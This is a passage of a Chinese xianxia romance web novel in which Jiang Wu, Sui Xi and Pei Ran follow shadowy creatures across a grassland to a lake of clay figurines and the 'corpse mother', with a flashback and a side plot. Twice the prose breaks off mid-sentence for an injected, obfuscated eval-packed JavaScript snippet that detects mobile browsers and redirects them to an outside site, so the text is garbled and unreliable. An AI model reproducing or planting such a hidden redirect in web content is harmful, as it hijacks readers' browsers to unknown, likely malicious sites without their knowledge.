沛然追了上来,他先是看了看四周的草原,随后一脸茫然地看着二人,“大人,我……” “那个胆小鬼居然跑了,沛然,你还记得昨夜发生了什么吗?不着急,你可以慢慢想,我们到前方等你。” 姜芜说完伸手扯过睢羲的缰绳,牵着两匹马向前走了一段。 沛然见状知趣得没有上前打扰。 睢羲不敢去看姜芜的双眸,只能四下瞟着一望无际的草原,“是我自己的问题,我说过我不逼你的,但是总是不经意地给你施压。” 姜芜有些为难地看着睢羲,她知晓这件事情若是没有一个准确的结果,睢羲是不会放下的,即便是自己就在身侧,他也会觉得早晚有一天她会消失得再无踪迹。 睢羲觉得自己的患得患失感,影响着他的言行举动,也在伤害着姜芜,他不想这般,所以极力地控制,但是这种东西却不受他左右。 “我会努力控制住的,不会将一些坏情绪带给你的。对不住,在这件事上我总是没办法说到做到。我跟之前不一样了,没办法对你言出必行了。” 姜芜静静地听着睢羲的心事,看着夕阳的光芒落在他的脸上,浸透了他的双眸,连带着一些寒毛都变得亮晶晶的,他坐在马背上,本应该肆意驰骋草原,现下眼神却忧愁地像一块浓厚的琥珀,眉间总有化不开的思虑。 睢羲回头看着姜芜,试探地问道:“我这么说……是不是也算在给你施压?” 姜芜摇了摇头,笑着说:“你心思真的好重啊,我们现下应该解决你心思重的问题,而不是对我是否施压的问题,我没觉得你是在对我施压,反而觉得你有些可怜,掏心掏肺地对我说一些挽留的话,患得患失,但是这些话,我都知道,即便不说出口,我也知道。” 睢羲蹙眉,“即便你知道……” 姜芜开口打断了睢羲的话,“但这是个解不开的死结,我们只能过一天是一天,你的伤能痊愈是最好不过的。睢羲,我也是一样的,只希望你好。” “我都知道。” 睢羲的双瞳突然一缩,太阳彻底滑进地平线下,最后一丝光芒被吞噬殆尽,修罗的双眸在日夜交接之时,为了能够快速适应黑夜,所以会有非常短暂的时间,所视之处会呈现出一种淡淡的荧光色。 可是就在方才,睢羲看到了不远处的黑色人影,距离姜芜只有五步远的位置,可疑的是他居然看不清那人的面容,只看到一个像是影子一般的东西,黑乎乎的一团,头顶尖耸,两侧像是炸开的鱼鳃,头部呈现出几字状,身上既没有衣服的影子也没有其他什么可视物,又像是双眸适应日夜转换之时所残留下的色块。 眨眼之间便消失不见。 睢羲快速拉住了姜芜,他坚信那不是什么奇怪的色块,就是一个人影状的东西,并伸手示意沛然靠近。 沛然快速策马而来,瑟瑟缩缩地问道:“你是不是看到东西了?我就说夜晚上的草原很危险吧,你们不听我的,非要连夜赶路。” 姜芜笑着问道:“胆小鬼,你怎么又出来了?” 沛然说:“我若是不出来,谁来给你们带路,而且这人不靠谱,万一把昨晚的事情说漏了嘴,我还怎样拿捏你们?” 姜芜抬眸看向睢羲,见他脸色尚未好转,便开口问道:“看到什么了?” 睢羲提着姜芜与自己共乘一马,随后才问道:“那是什么?” 沛然神情有些惊恐地看着睢羲,“你看到了什么?” 睢羲说:“一个黑色的影子。” 沛然闻言大惊,出声催促道:“快走快走,千万别被他们盯上,快走!” 姜芜问道:“如此害怕?那是什么?” 沛然摇了摇头,身子止不住地颤抖了起来,“不知道,我不知道,我只知道很可怕,相当的可怕,快走,快走。” 姜芜见状立刻道:“你告诉我们地点,让沛然出来,我们答应你会护你周全,如何?” 沛然缩着脖子,十分惊恐地看向姜芜,“真……真的?” “当然。” 沛然神情十分痛苦地合上了双眸,他眉心紧拢,喃喃自语道:“往西南方大荒地界行进近千里,会看到一片树林,进入后......有很多的陶俑,尸国境便在那处,尸母也会在那处等我们。” 姜芜重复道:“尸国境,尸母?看来方才是我听错了,是尸母不是师母,我以为是九州兴起的门派呢。” 沛然睁开双眸,神情凝重地问道:“这个地方闻所未闻,季易真的被抓了过去吗?” “去看看吧。”姜芜看向沛然所说的方向,“此行若是顺利,我们不仅能得到驱逐人面鬼的方法,还能得到那个法阵具体的位置。再说了,人面鬼哎,我也想见识见识这片草原上诞生出来的新生灵。” 沛然说:“人面鬼方才告诉我们,若是想在草原上夜奔,需要将马的眼睛遮起来,否则那些东西会误导马对于方向的认知。” 姜芜问道:“那种东西到底是什么?为何人面鬼会如此恐惧?” 沛然摇了摇头,“他不知道。” 睢羲率先下马,随后把姜芜从马上抱了下来,“那便不要骑马过去了,千里的距离不过眨眼之间,能更快找到那处。” 沛然闻言也翻身下马,将马匹驱赶回了格力特部落。 月亮升了起来,皎洁的月光撒满了整片草原,姜芜三人位于一方高处,放眼能收尽整片如墨般的草原,有风滚动着,像是一片静谧的黑海。 沛然捏了捏眉心,犹犹豫豫地说:“我总觉得这片草原没有看到的那么宁静。” 睢羲抱着姜芜,叮嘱道:“谨慎行事,不要冒进。” 姜芜总觉得头上的蝴蝶步摇总是被戳弄,她以为是方才下马时勾到了睢羲的发链上,于是便转头面向睢羲,预备伸手去解二人纠缠在一起的发饰。 睢羲见状,垂眸一脸不解地看着姜芜。 姜芜这才发觉两人的发饰并没有缠在一起,反倒是睢羲有些奇怪,她的夜视能力并不出众,只能模糊地看到后者的脖颈处似乎多出了一样东西,黑乎乎的看不清楚,那个东西像是趴在睢羲的后背上,正探头看着她,又像是睢羲多长出了一个头,总之那个东西的颜色要比四周的黑要浓稠很多。 方才姜芜觉得自己的步摇被反复戳弄,便是那个东西在作怪。 姜芜抬手摸了一下自己的步摇,不动声色地抬眸看了睢羲一眼。 睢羲向旁侧斜了一下视线,同姜芜确认了一番位置。 沛然发觉二人没了动作,便有些诧异地看了过去,视线第一时间便被睢羲身后的东西所吸引,“大人......” 睢羲指尖凝聚了戾气,立刻向后指去,随后他抱着姜芜迅速转身,却发觉身后空空如夜,只有静谧的草原和来去自由的风。 姜芜从睢羲的怀中落地,她转到睢羲的身后,伸手在那个黑影出现的地方伸手摸了一下,只觉得指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758188|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖一片粘腻,凑近去闻还有一股极其刺鼻的腥臭味。 沛然快步走了过来,“方才到底是何物?便是人面鬼所说的恐怖之物吗?” 姜芜捻了捻手中的液体,只觉得这个东西分外的熟悉,只是她一时想不起是何物,这个触感过于得像是鲜血,但是又不像。 睢羲的神色也变得严峻起来,那只黑影神出鬼没,居然能够悄无声息地附在他的身后而不被他所察觉,而且护体的戾气也没有将其弹开,说明它并无恶意。 “快走,用最短的时间解决这件事情。”说完,睢羲便伸手拉住姜芜的手,将她带到了身侧。 一阵激烈的马儿嘶鸣声自远处响起,三人纷纷朝着声源处看去。 睢羲的下颌顿时紧绷了起来,他正准备拉着姜芜离开,却发觉后者径自伸手将他推开。 姜芜察觉到一股腥臭味逼近袭来,她推开睢羲后,抬眸向上看去,手指迅速掐诀,异样来得过于得迅速,她只能将睢羲推出去。 睢羲神情诧异地回头看向姜芜,却发觉姜芜已经被大量从天而降的鲜血碎肉所吞没。 姜芜长舒了一口气,抬手抹去脸上的血污。 “这......”沛然神情惊恐地看着姜芜,“那东西是将马匹杀了吗?” 姜芜应了一声,神情冷淡地说:“不仅如此,还将马的尸首剁成肉沫,专门运过来,便是为了这般。” 沛然问道:“这是为何?像是......奔着您来的.....像是在戏弄您.....” 姜芜觉得沛然的话似乎点醒了她,她抬手将蝴蝶步摇取了下来,捏在手中思忖了起来,自从他们进入草原到那个黑影出现,看似好像是奔着她而来的,无论是第一次出现,睢羲在她身后所发现,而是趴在睢羲上戳她的步摇,亦或者是现下这般,它们的举动并没有恶意,就像是沛然所言,像是在戏弄。 这种毫无恶意的戏弄之法,强烈的反抗与乖顺的顺从都有可能让它们变本加厉,唯一的方法便是尽快解决。 睢羲上前正准备施净身咒给姜芜,却被她伸手按了下来。 “不要暴露自己,不一定是针对我,也有可能同它的来历有关。” 睢羲闻言引了活水,浸透帕子后给姜芜擦着脏污的地方,“看样子,你已经对他们的来历有猜测了?” 姜芜勾唇,伸手接过了睢羲手中的帕子,将手中的步摇擦干净,“并没有,一切的谜底大概需要到尸国境,问过尸母才知道了,希望她不要嫌弃我这一身的血腥味。” 沛然说:“事不宜迟,我们速去速回。” “走。” 睢羲伸手牵过姜芜的手,化作戾气迅速朝着人面鬼所说的那片树林疾行而去。 三人前后到达人面鬼所说的树林,此时一阵狂风刮过,将远处的乌云吹至了草原的上空,将清明的月亮遮挡了起来,树林之内影影绰绰,难见一物。 姜芜眯了眯双眸,试图在其中分辨出一些树影之外的东西。 睢羲伸手捂住了姜芜的双眸,往其中灌入戾气之后才松开,“这样有好些吗?看得清吗?” 姜芜顿时觉得眼前恍若白日,她伸手拨开了睢羲的手,用帕子将他手上沾上的血迹擦干净,“看得清了,小心沾上脏污。” 沛然上前辨认了一番面前的树林,是一片郁郁蓊蓊的胡杨林,他抬手在树木上留了一片戾气做印记,“要进去看看吗?” 姜芜颔首,“进去吧,至少找到那片人面鬼所说的陶俑。” “跟我来。”说完,沛然一边向胡杨林身处走去,一边在沿途的树木上留下戾气做的记号。 姜芜从纳袋中取出了两面铜镜,递给了睢羲一面,时不时举起来去看身后来时的路,“睢羲,你走到我身前。” “不可能。”睢羲握紧了姜芜的手,义正言辞地拒绝,“如果那些东西的目的是你,我更不可能将你独自一人留在我身后。” 姜芜收起铜镜,解释道:“方才只是我的猜测,我需要证实这个猜测,而且它们并没有对我做出一些实质性的伤害。” 睢羲神情凝重地看着姜芜,“不行,即便是戏弄,从一开始只是靠近你的身侧,到摆弄你的发饰,再到往你的身上浇灌马血,越发地变本加厉,很难判断下一次是否会直接对你造成伤害。” “可是我身上有你的护体结界,我都不怕,你怕什么?” 姜芜抬手去挡从草原上吹进来的风,月光重新撒进了树林之中,照亮了一些昏暗模糊的地方。 沛然看着面前出现湖泊,如同一面镜子一般,将月光拢于水面之上,波光粼粼,而人面鬼所说的陶俑便密密麻麻地伫立在湖泊与四周,它们脸上的色彩经过风吹日晒已经剥落褪色,只留下一片麻木。 一面无字碑立于寸草不生岸边,四周的胡杨树也距离湖泊五步远的地方停止了生长,似乎所有的生灵都在有意无意地避开这片湖泊。 “到了。” 姜芜抬头向上望去,却发觉原本位于低空的南斗六星与北斗七星现下却在头顶的夜空交叠相连,不仅七杀星与天枢星重叠,瑶光星也与天府星相连,形成了像是两只汤勺交叉而放的模样。 “睢羲,你觉得这样像什么?” 睢羲抬眸看去,他双眸一眯,顿时不寒而栗,浩瀚的夜空中,星云惨淡,唯有南斗六星与北斗七星,光芒熠熠。 “像……像一对眼睛……” 99. 陶俑 姜芜看着睢羲,见他面如金纸,便伸手引他回神看向自己,“并非,你不要多想。这星象不合常理。南斗多于夏季夜空南垂,北斗也会随着季节变化而变化。早些年听闻除妖司南斗法师与北斗法师有蹊跷,今日看到这天相也全是坐实了那些传言,看来人族为了繁衍生息,做了很大的努力。” 沛然闻言折了回来,“哪方面的传言,南斗掌生,北斗注死,薪火相传,生生不息?” 姜芜颔首,“这也是为何除妖司会被皇室忌惮的原因。” 睢羲问道:“何意?” 姜芜说:“九州浩瀚,有能者居高位,人族皇帝,几百年更新迭代一次。至这个王朝初始,开国皇帝同青丘九尾狐一族签订契约,以龙脉皇息助其修行,来换取一则巩固根基延顺国运的办法,南斗与北斗共十三位法师,传了近五代,但他们的皮囊会变,容貌会变,唯独内里不变,修为累积,却无法飞升。但是,皇室不守约定,私下命十三位法师捕捉吸收龙息成为天狐的青丘九尾,用于反哺龙脉,以延国运。” 沛然蹙眉,“竟然会如此?!” 姜芜语气顿了顿,“所以才会有南北斗交叠的星象,若是放于人族之地,看到此星象怕是会觉得天下大乱,为了稳定人心,真实星象应该用青丘幻术掩盖过,但是在此地却能看到原本的星象,怕是有蹊跷,先说到这里吧,我们先到湖边处看看陶俑。”说完,她便朝着湖边走去。 姜芜先是围着无字碑走了一圈,未曾放过任何一个角落,这方无字碑出现得异常奇怪,下有镇邪麒麟,看起来并非像是用于记叙生平或者留存某种过往,但是这方碑的碑面光滑,未显一字,若不是用法术隐藏便是立碑者处于不知名的原因未曾刻字。 要么丰功伟绩难以写尽,要么罄竹难书无以言表。 姜芜在碑面上注入一层戾气探查,排除法术隐藏字迹这种可能,倒是让她觉得这方碑上有一股熟悉的气息。 伫立在湖边的这面无字碑上面曾经浇灌过龙血,甚至其中还有一块龙骨,或许是因为苍旻的气息太过于浓重,所以才压制了青丘的幻术,以至于南斗与北斗露出现下原本的模样。 睢羲问道:“这方碑有何问题吗?” “没有,只是一方无字碑而已,但是上面有龙息,大抵是苍旻。”姜芜摇了摇头,随即抬眸看向沛然,“你体内的人面鬼,有给你下一步的提示吗?” 沛然合眸感受了片刻,摇了摇头说:“并没有,莫非我们要到水底去救季易吗?” 姜芜闻言就近走了一处陶俑面前,此处的陶俑经过自然侵蚀已经褪去了外层的色彩,只留下陶土烧制后的颜色,而且陶面粗糙,并非官窑烧制。若是出自民窑,除非是专门烧制这种陶俑,否则很难支撑生计。 姜芜施力掰动陶俑的外表,垂眸闻了一下指尖陶俑的气息,是一种混着青苔的腐朽之息,很符合此处的特点。 沛然心中焦急,语气略有些按捺不住,声音急促地问道:“濯漪大人,请问有什么发现吗?” 姜芜摇了摇头,她转身看向沛然,却觉得身上的衣物多了一股吸附感。 “濯濯!” 睢羲立刻抬手打出一道戾气打向姜芜的身后的陶俑。 姜芜身后的陶俑在她转身的一瞬间,贴附到了她的身后,只是眨眼的功夫便将她纳入体内。 “没事,安心。” 包裹了姜芜的陶俑迅速后仰避开睢羲的戾气,随即沉入水中。 睢羲立刻追了上去,他踏进湖水之中却发觉水深不过他的膝盖,而那只吞掉姜芜的陶俑便在他的眼皮子底下消失得无影无踪。 睢羲神情凝重地看着整片湖面,黑色的戾气以他为中心瞬间荡了出去,通天彻地地寻找着姜芜的踪迹,四周的陶俑和胡杨树纷纷被拦腰折断,唯有那方无字碑依旧屹立在原处。 “大人,您冷静一些。”沛然伸手挡住睢羲暴虐的戾气,片刻的功夫手上便出现了细密的裂痕,他根本不是睢羲的对手,“我们要去救濯漪大人,或许需要用到这些陶俑,不要再继续毁坏了。” 睢羲闻言涉水走到岸上,挥手之间胡杨林和陶俑恢复原样,他面色阴沉地对沛然说:“问问你体内的那个人面鬼,要如何才能找到濯濯。” 姜芜眼前一黑,顿时感觉身体腾空,落入无边无际的黑暗之中,这种感觉让她突然回忆起一些往事。 濯漪在黄沙中醒来,即便是四周一圈设了阻挡风沙的结界,也依旧会感觉得到难捱的干冷,她生来便不是强大的修罗,比不得弟弟厍灯的天赋,这么久的时间她所能操控的戾气寥寥无几,所以她不得已四处躲避着那些前来寻衅滋事的修罗。 濯漪起身,伸手拥住从肩头滑落的外袍,有些诧异地四处看了看,随后便看到了正坐在巨树上的睢羲。 睢羲安安静静地看着濯漪,并没有率先开口说话,濯漪也回望着睢羲,她很难去形容这种眼神,时间一长,她便觉得浑身不自在,总觉得身后藏着怪物,或者是身上有奇形怪状的东西,所以才会引得那个大修罗长久的注视。 濯漪看到自己的双手和衣裳时便知晓睢羲为何会那般眼神了,她浑身脏兮兮的,像一只泥猴子般趴坐在沙地中,而那个大修罗衣着华丽又整洁,强大又美丽,一定是从未见过像她这样的小乞丐,所以一时震惊得难以言表。 “你......醒了?” 睢羲从巨树上飞身而下,缓步朝着濯漪走了过去,并试探着伸出了手,他没有勇气直接伸手将濯漪扶起,生怕因为自己的冒失而吓着没有记忆的她,又怕只是自己的一场虚幻梦境,但凡触道濯漪的那一刻,她便会如同流沙一般消散。 所以,睢羲觉得这次要按捺住自己想要触碰濯漪的心,即便是梦境,也要在醒来之前多看濯漪几眼。 濯漪抬眸看了睢羲一眼,随后迅速低头,她起身弹净黑色外袍上的黄土,恭恭敬敬地交到了睢羲的手中,瑟瑟缩缩地道谢,“谢谢您救我,今日若不是您,我怕是已经没命了。” 睢羲看着手中的外袍,又看了一眼濯漪身上分辨不出颜色的衣裳,声音沙哑地说:“你拿着穿吧。” 濯漪垂眸看了一眼自己身上的衣裳,神情有些不自在地搅起了自己的衣角,支支吾吾地说:“不......不了吧,这么好的衣裳,就算是给我穿,用不了两天便会被扯坏,要不被抢走,我不配穿这么好的衣裳。” 睢羲闻言便将外袍穿在身上,他看着濯漪低眉顺目的模样,现下的濯漪年纪很小,身体也没有抽条,细细长长、面黄肌瘦的模样,头发乱蓬蓬的一团,身量也不过睢羲腰腹的位置,缩在黄沙地上睡觉也只是小小的一团,显得格外的单薄与可怜。 濯漪见睢羲不言,她也不敢贸然开口,睢羲周身的气压很强,想必是一个活了很久的修罗,自己对于他来说连蝼蚁都不如,一根手指便能轻松捏死她。 濯漪怕死,所以她不敢造次。 睢羲闻言,沉默不语地看着面前的濯漪,神情无奈地抬起了自己的手,想抚摸她的发顶,安慰她的情绪。 濯漪余光看到睢羲抬起了手,以为他要打杀自己,立刻双手抱头扑倒在地,急忙说:“不要打我,我马上走,马上便走了。” 睢羲见状神情一惊,心中蔓延出一股密密麻麻的疼痛,他俯身缓慢地把濯漪扶了起来,坐在沙地上尽量让自己比濯漪还要矮。 濯漪被吓得六神无主,只能任由睢羲摆弄,她神情惊恐地看着后者,胸膛剧烈地起伏着,觉得自己大抵是遇到了那种脾性怪异的修罗,不以直接打杀为乐趣,而是喜欢慢慢折磨,以别人的痛苦为乐趣。 濯漪这般想着,忍不住红了眼眶,眼泪也快速流了下来,冲刷着她脏污的脸,她觉得自己这辈子大概都没办法再见到厍灯了。 “我今日是逃不掉了,若是您以折磨我为乐趣的话,还是尽早杀了我的好,给我一个痛快。” 睢羲蹙眉,神情不解地问道:“你哭什么?” 濯漪闻言心中盘算着如何逃离,她尽量让自己看起来可怜,想为自己博次生机,“在我......在我死之前......我能不能再见见我弟弟?我已经好久没见过他了,不会耽误太久的,而且您那么强,我也逃不掉……您就再给我一点时间吧……” “死什么?”睢羲摇了摇头,伸手擦干净了濯漪脸上的泪水,“濯濯,既然回来了,以后便跟着我吧,我会护着你,不会再有修罗欺负你了,好吗?” 濯漪闻言诧异地瞪大了双眸,从未有修罗对她说过这种话,她心中像打鼓一样没底,有些不确信地问道:“我没听错吧,濯濯?您是在叫我吗?您要收留我吗?然后再一点一点折磨我吗?” 睢羲蹙眉,不知晓濯漪的心中为何是这般的想法,他抬手如愿以偿地摸到了濯漪的头发,温声解释道:“不会,我不会折磨你,你若是愿意,我会保护你一辈子,直到我生命消亡的那一刻。” 濯漪心中大惊,神情动容地看着睢羲,她不习惯居高临下地看人,索性与睢羲面对面的坐了下来,“直到您生命消亡的那一刻吗?无论是我的一辈子,还是您的一辈子吗?您都会一直护着我吗?您为何要待我这般好?我们不认不识,也没有旧相交,莫非......” 濯漪心中多了几分猜测,她觉得睢羲可能是自己素未谋面的父亲,或许见她被修罗欺负,心中不忍,动了恻隐之心,觉得该承担起身为父亲的责任,所以才会这般对她好。 濯漪想到这里心中更加确信了几分,忍不住继续道:“我还有一个弟弟,他叫厍灯。母亲在我们很小的时候便离开了,我们找不见她,您能不能帮我找找弟弟?” 睢羲说:“好,这些都是过去的事情了,往后再也不会了,你便跟着我,不会有人再欺负你了。” 濯漪神情殷切地问道:“真的吗?” 睢羲应了一声,从纳袋中取出了油纸包裹的点心递给了濯漪,“要吃些东西吗?” 濯漪怯怯地抬眸看了睢羲一眼,随后将目光落在了那个黄色油纸包上,并没有伸手去接,而是好奇地打量了起来,“这是什么呀?” 睢羲打开油纸包,从其中取了一块桃酥出来,先是自己咬了一口,随后才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767096|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递到了濯漪面前,“可以吃的东西。” 桃酥圆圆的,像是夜空的满月一般,上面沾着几粒黑色的芝麻,闻起来也是香香甜甜的。 濯漪没见过这种东西,自然也没吃过,抬眸看了睢羲一眼,又看了看举到她面前的桃酥,她有些不自在地搅起了自己脏污的手指。 面前的修罗捏着桃酥的手指筋骨分明,指甲也十分的干净,而自己脏得随随便便就能将他玷污。 “您放这上面吧,或者放在地上,我可以自己拿,我不太干净,会弄脏您的。” 濯漪将自己衣服的衣角扯了起来包成一个兜,示意睢羲可以将桃酥放在上面。 睢羲蹙眉,直接将桃酥塞入了濯漪的口中,随后将油纸包收了起来。 濯漪嚼着口中酥酥的点心,看着睢羲突然收起的油纸包,便觉得这个修罗有些小气,给她吃东西居然只有一块,而且还是他咬过的,不过这点心确实很好吃,若是濯漪自己的话也不舍得过多得同别人分享,只想藏起来自己吃。 濯漪这么想着,心中释怀了不少。 “走吧,我带你去天河那边洗澡。”睢羲用戾气从纳袋中取出了几条漂亮的衣裙,“你想穿哪一件?” 濯漪从来未见过这么好看的衣服,不禁看得有些着了迷,“这些......这些都是......好漂亮啊……” 睢羲点了点头,但这些衣服都是根据濯漪成年后的身量所制而成,对于现下的她来说难免有些不合体,但是他看着濯漪亮晶晶的双眸便一句话也说不出来了,心中更多的是对她怜惜。 他的濯濯确实回来了,成了一个修罗,年龄很小,也没有自保能力,在这无幻之境中没日没夜地流浪着,饱受其余修罗的欺辱,天可怜见,终于让他遇上了。 “这些都是你的,你想穿哪一件都可以。” “你是在做梦吗?” 姜芜倏地睁开了双眸,迅速从水中坐起身,她缓缓地打量着四周,现下她正处于一方漆黑的四方间内,这里的布置和构造很奇特,与其说是房间,不如说这是一间墓室。 “你方才是在做梦吗?” 姜芜闻言朝着声源看去,这声音清丽明显是一个女子,但是她在看到那名女子的真貌时,面色凝重地蹙起了双眉。 【并州】 沈确将马车驱至顺榆镇上的那家客栈前,自从那夜之后三人未曾开口说过一句话,她伸手欲撩开车帘,但思忖片刻还是忍了下来。 “到顺榆镇了,你们……” 沈确的话未曾说完,她也不知晓该继续说些什么,更何况让他们逃走更是不可能的事情。 沈确长叹了一息,随即取过太阿剑向客栈内走去。 段怀野正同宿凌薇在客栈一楼谈话,两人争论着姜芜一事的对错。 宿凌薇怒视着段怀野,“若不是因为你,濯濯根本不可能牵扯如此多得人间事,归根结底还是你的错。” 段怀野神情悠然地喝着茶,“同我有何关系,我只是天命的侩子手,充其量是个傀儡,我也只是依照天命行事而已,我又有什么错?” 宿凌薇冷笑一声,“天命?你居然还信这玩意,我从来都不信命。天命将就因果循环,你把濯濯害至如此,你的报应呢?” “你不信命?你都应验了,你还不信命吗?有因必有果,你得因,以后必能看到果,怕只怕你到时候不愿意承担。”段怀野面上闪过一丝玩味,放下手中的茶杯,“我死了还不算报应吗?” 宿凌薇厉声道:“不要跟我说一些乱七八糟的东西,那你现下还活着做什么?!” “师兄,看到你没事真是太好了,为何不回我的传讯?” 沈确快步走了上来,却在距离段怀野三步远的位置停下了脚步,她有些诧异地看着后者银白色的发丝。 “师兄,你这是怎么了?发生什么事情了吗?你的头发……” “一场意外,都过去了,不必再提了。”段怀野拿了一个茶杯,将其中倒满水,“小确,一路辛苦了,可还顺利?先来喝些水吧。” 沈确的面色顿时变得惨白,她后退了半步,有些难以置信地看着段怀野,“你……你不是我师兄!你是谁?!” 宿凌薇神情冰冷地扫了一眼段怀野,“你那拙劣的演技,是个人都看得出你不是商扶庭。” 沈确倏地看向宿凌薇,随即拔剑指向段怀野,扬声质问道:“你到底是谁?!” 太阿剑在沈确的手中发出强烈的嗡鸣声,让她险些脱手。 沈确诧异地看着手中的太阿剑,这是从未有过的情况,太阿剑似乎不再与她心意相通。 “不要白费力气了,你杀不了他,也不可能杀他,也不能杀他。”说完,宿凌薇便起身向客栈外走去。 段怀野开口问道:“你去哪?” “你管我去哪?先管好你自己吧,一堆烂摊子等你收拾呢。” 沈确收了太阿剑,她神情警惕地看着段怀野问道:“你不是我师兄,你到底是谁?!” 段怀野问道:“小确,你将谁带回来了?从应吗?” 100. 挑选 宿凌薇一气之下回了无幻之境,长夜让此处的风沙更加肆虐,气温迅速下降,如同隆冬腊月般严寒,她打了个寒颤,觉得自己在人间待久了,有些不适应长夜的寒冷,于是抬手为自己加了一层护体结界,化作一道戾气往姜芜的住处飞去。 “濯濯!” 百衢看着从远处跑来的宿凌薇,有些诧异地问道:“你怎么在此处?” 宿凌薇停在了距离百衢五步远的位置,神情不悦地质问道:“你在这又是为何?莫非你还想着找濯濯麻烦?” 百衢神情不屑地一笑,“至于吗?我至于跟她过不去吗?更何况我要是找她麻烦,还要看睢羲的面子不是吗?正所谓打狗还要看主人,我不能让睢羲面上过不去。” “混蛋,你说谁是狗?哪有狗说人是狗的,你这个狗眼看人低的东西。”宿凌薇扬拳威胁道,“你到底来此地做何事?” 百衢见宿凌薇像刺猬一般,恨不得将身上的刺拔下来都扎到他身上来解恨,但是又想起自己是她第一个男人,便也不想同她计较太多。百衢想着那夜自己喝了不少酒,主要是以发泄为主,想起来大抵她也不是很舒爽。 百衢放软了声音,“濯漪不在无幻之境,她同睢羲去人间了,调查法阵一事,我正要去寻他们,你要一起吗?” 宿凌薇蹙眉,追问道:“法阵?什么法阵?等等,睢羲还活着?” 百衢的耐心有些告尽,“你去还不去?其他的事情,我可以在路上给你解释。” 宿凌薇抿了一下双唇,“去便去,你这人怎么一点耐心都没有?” 百衢长眉一扬,正准备嘲讽几句,但是看着宿凌薇的双眼,心头火莫名其妙地消了下去,那一夜正是因为自己的没耐心所以导致宿凌薇吃了不少的苦头。 “跟上来。”说完,百衢便化作戾气向无幻之境外飞去。 宿凌薇见状立刻追了上去。 【并州古墓】 女人发出一声如同银铃般的笑声,她起身缓缓地朝着姜芜走了过来,“方才你的梦似乎很美,能告诉我,梦里的那个男人是谁吗?” 姜芜坐于陶俑之中,抬眸看着女人,面前的这个女人很奇怪,但是很明显已经不是一个活人,甚至算不上是一个人,她肤色铁青,干瘪着附在骨头之上,有着细长如小臂般的脖颈,颈椎却硕大无比,正常骨结节的位置向外延伸出皮肉,每一个骨结界上都长着一个拳头大小的脑袋,上面五官分明,就像是附着在后颈处的人面鬼一般。 姜芜试探地问道:“你便是尸母?” 女人围着姜芜转了一圈,赞叹道:“还是洗干净了的好,是个美人,而且还是个聪明的美人,一眼便知晓我是谁。” 姜芜这才发觉身上的马血与脏污全被清洗干净,连衣裳都换成了一套月光白的纱裙,她整个人赤脚浸泡在水中,长发散乱贴在身上。 姜芜抬眸仔细地打量着女人以及她脖颈上的人面鬼。 女人见姜芜对她的孩子好奇,便伸手就近取了一个脑袋下来,欢欢喜喜地对姜芜说:“这都是我的孩儿,他们不哭不闹可乖了。” 姜芜看着面前的怪状,有些难受地蹙起了眉心,她看着女人脖颈两侧生长着的十个脑袋,开口问道:“这些都是你的孩儿吗?既然是你的孩儿,为何被称为人面鬼?” 女人轻拍着怀中的脑袋,娇嗔道:“那都是人给我的孩儿取得名字,我的孩儿可不叫那么不伦不类的名字,他们每一个人都有着属于自己的名字,都是好宝宝,你有自己的孩儿吗?” 姜芜摇了摇头,“没有。” 女人面色一变,一改方才的温情变得狠厉无比,“你为何没有自己的孩子?是你不能生,还是你梦里的那个男人不行?” 姜芜唇角一颤,“你请我过来,难道就是为了探讨孩子的问题?” “自然。”女人抱着自己的孩子坐回了棺椁之上,“没有孩子,你怎么会懂我,又怎会帮我的忙,我让你来便是为了帮忙的。” 姜芜见女子开门见山说出了自己的真实目的,便也顺着后者的话说:“没有孩子,我也可以帮你的忙,但你要先告诉我,你要我帮你做何事?伤天害理的事情,我是不会去做的,其他的我需要考虑一下。” 女人轻哼一声,“我说了,你没有孩子是不会懂我的。”说完,她拍了拍自己的手心,三个陶俑从她的身前升起,面对着姜芜的一侧逐渐开裂并露出裹在其中的人。 女人兴致冲冲地绕了到了姜芜面前,声音轻快地说:“你挑一个,今晚便生,我见这三个男人都不错,你挑谁都可以,三个都要也行,只要你有了孩儿,便会明白我的良苦用心的。” 季易被泥土封嘴,听到女人这般说立刻瞪大了双眸,立刻挣扎般地发出抗议的呜咽,他恨不得现下便从陶俑中跳出来给这个女人打成碎渣,说这种话简直是在侮辱他。 但是季易不知道这个地方到底有何奥妙,他居然一点戾气都用不出来,若是可以这种女人,十个都不够他打的。 沛然直接合上了双眸,觉得这种话过于的不堪入耳,希望睢羲不要将这种无厘头的话放在心上,也希望姜芜不要一时兴起公报私仇,虽然季易有时大言不惭,但也罪不至死。 姜芜抬眸看向女人,试探地问道:“可以随便选吗?哪一个都可以吗?” 睢羲蹙眉,不明白姜芜说得这都是什么话,怎样叫做可以随便选,哪一个都可以,难道从来不就是只有一个答案吗? 女人勾起唇角满意地笑了起来,“当然,哪一个都可以,这是我特意为你捉来的。而且我已经为你们准备好房间了,马上便要天亮了,留给你们的时间不多了,你要快一些拥有孩儿,然后来帮我的忙。” 姜芜有些无奈地笑了起来,女人所说的有点像是天方夜谭,简直就像是在过家家,若是这样的话,她岂不是可以直接塞个枕头伪装一下。 女人挥手的瞬间一旁的墓室门向内打开,露出一条通向幽暗的石阶。 “请吧,随你挑选。” 